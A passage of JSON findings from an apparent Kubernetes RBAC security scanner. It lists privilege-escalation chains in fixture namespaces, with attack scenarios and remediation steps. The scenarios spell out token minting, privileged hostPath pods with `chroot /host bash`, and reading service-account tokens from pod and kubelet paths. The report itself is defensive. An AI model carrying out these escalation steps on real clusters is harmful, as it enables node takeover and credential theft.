      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write kustomizations.kustomize.toolkit.fluxcd.io]",
        "2. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-deployer",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "permission": "write kustomizations.kustomize.toolkit.fluxcd.io",
        "gains": "can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source",
        "source_binding": "deepchain-gitops",
        "source_role": "deepchain-gitops",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/rbac-fixtures/sa-token-create:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 8.35,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can reach **node escape** (host root) in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cert-manager/cert-manager` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading `/var/lib/kubelet/pods/*/volumes/.../token`. From there, those tokens cascade into more cluster-admin paths.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → `node escape`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-token-create` yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/cert-manager/cert-manager`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Final step: a privileged pod with `hostPath: /` (or `hostPID + privileged: true`) is created. The attacker `chroot /host bash` and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. node_drain_migrate [delete pods + update nodes/status]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "node_escape",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "node_drain_migrate"
      ]
    },
    "remediation": "Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cert-manager/cert-manager`).",
    "remediation_steps": [
      "Identify which hop ends in `pod_create_*` or grants Pod Security violations (`privileged`, `hostPath`, `hostPID`, `hostNetwork`).",
      "Apply Pod Security Admission `restricted` profile to namespaces reachable from this chain: `kubectl label namespace \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. This blocks privileged pods at admission.",
      "Audit any namespace that is `privileged`-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.",
      "Remove the cited capability: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cert-manager/cert-manager`).",
      "Wire admission policy (Kyverno `restrict-host-path-mount`, `disallow-privileged-containers`) so future pods cannot regress."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount cert-manager/cert-manager",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/foothold-exec/foothold-reader",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "HIGH",
    "score": 8.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/foothold-exec/foothold-reader` is mounted by live workloads and has dangerous permissions: secrets (kube-system)",
    "description": "ServiceAccount `ServiceAccount/foothold-exec/foothold-reader` carries one or more dangerous RBAC capabilities (secrets (kube-system)) *and* is actively mounted by workloads (Pod/foothold-exec/foothold-target). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/foothold-exec/foothold-target. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `foothold-exec/foothold-reader`: namespace-scoped subject; mounted by pods in `foothold-exec`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/foothold-exec/foothold-reader` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/foothold-exec/foothold-target`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (secrets (kube-system)) directly. The token already authenticates as `ServiceAccount/foothold-exec/foothold-reader`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "secrets (kube-system)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "kube-system",
          "resource_names": null,
          "resources": [
            "secrets"
          ],
          "source_binding": "foothold-reader-secrets",
          "source_role": "foothold-reader-secrets",
          "verbs": [
            "get",
            "list"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "foothold-target",
          "namespace": "foothold-exec"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/foothold-exec/foothold-reader` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/foothold-exec/foothold-target) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/foothold-exec/foothold-reader` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/foothold-fixtures/foothold-quiet",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "HIGH",
    "score": 8.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/foothold-fixtures/foothold-quiet` is mounted by live workloads and has dangerous permissions: secrets (kube-system)",
    "description": "ServiceAccount `ServiceAccount/foothold-fixtures/foothold-quiet` carries one or more dangerous RBAC capabilities (secrets (kube-system)) *and* is actively mounted by workloads (Pod/foothold-fixtures/foothold-quiet-app-749c54956-gwlx2, Deployment/foothold-fixtures/foothold-quiet-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/foothold-fixtures/foothold-quiet-app-749c54956-gwlx2, Deployment/foothold-fixtures/foothold-quiet-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `foothold-fixtures/foothold-quiet`: namespace-scoped subject; mounted by pods in `foothold-fixtures`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/foothold-fixtures/foothold-quiet` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/foothold-fixtures/foothold-quiet-app-749c54956-gwlx2, Deployment/foothold-fixtures/foothold-quiet-app`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (secrets (kube-system)) directly. The token already authenticates as `ServiceAccount/foothold-fixtures/foothold-quiet`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "secrets (kube-system)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "kube-system",
          "resource_names": null,
          "resources": [
            "secrets"
          ],
          "source_binding": "foothold-quiet-secrets",
          "source_role": "foothold-quiet-secrets",
          "verbs": [
            "get",
            "list"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "foothold-quiet-app-749c54956-gwlx2",
          "namespace": "foothold-fixtures"
        },
        {
          "kind": "Deployment",
          "name": "foothold-quiet-app",
          "namespace": "foothold-fixtures"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/foothold-fixtures/foothold-quiet` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/foothold-fixtures/foothold-quiet-app-749c54956-gwlx2, Deployment/foothold-fixtures/foothold-quiet-app) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/foothold-fixtures/foothold-quiet` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/imgswap-fixtures/imgswap-reader",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "HIGH",
    "score": 8.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/imgswap-fixtures/imgswap-reader` is mounted by live workloads and has dangerous permissions: secrets (cluster)",
    "description": "ServiceAccount `ServiceAccount/imgswap-fixtures/imgswap-reader` carries one or more dangerous RBAC capabilities (secrets (cluster)) *and* is actively mounted by workloads (Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9, Deployment/imgswap-fixtures/imgswap-reader-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9, Deployment/imgswap-fixtures/imgswap-reader-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `imgswap-fixtures/imgswap-reader`: namespace-scoped subject; mounted by pods in `imgswap-fixtures`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/imgswap-fixtures/imgswap-reader` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9, Deployment/imgswap-fixtures/imgswap-reader-app`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (secrets (cluster)) directly. The token already authenticates as `ServiceAccount/imgswap-fixtures/imgswap-reader`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "secrets (cluster)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "secrets"
          ],
          "source_binding": "crb-imgswap-secret-reader",
          "source_role": "cr-imgswap-secret-reader",
          "verbs": [
            "get",
            "list"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "imgswap-reader-app-b5544c498-65nm9",
          "namespace": "imgswap-fixtures"
        },
        {
          "kind": "Deployment",
          "name": "imgswap-reader-app",
          "namespace": "imgswap-fixtures"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/imgswap-fixtures/imgswap-reader` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9, Deployment/imgswap-fixtures/imgswap-reader-app) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
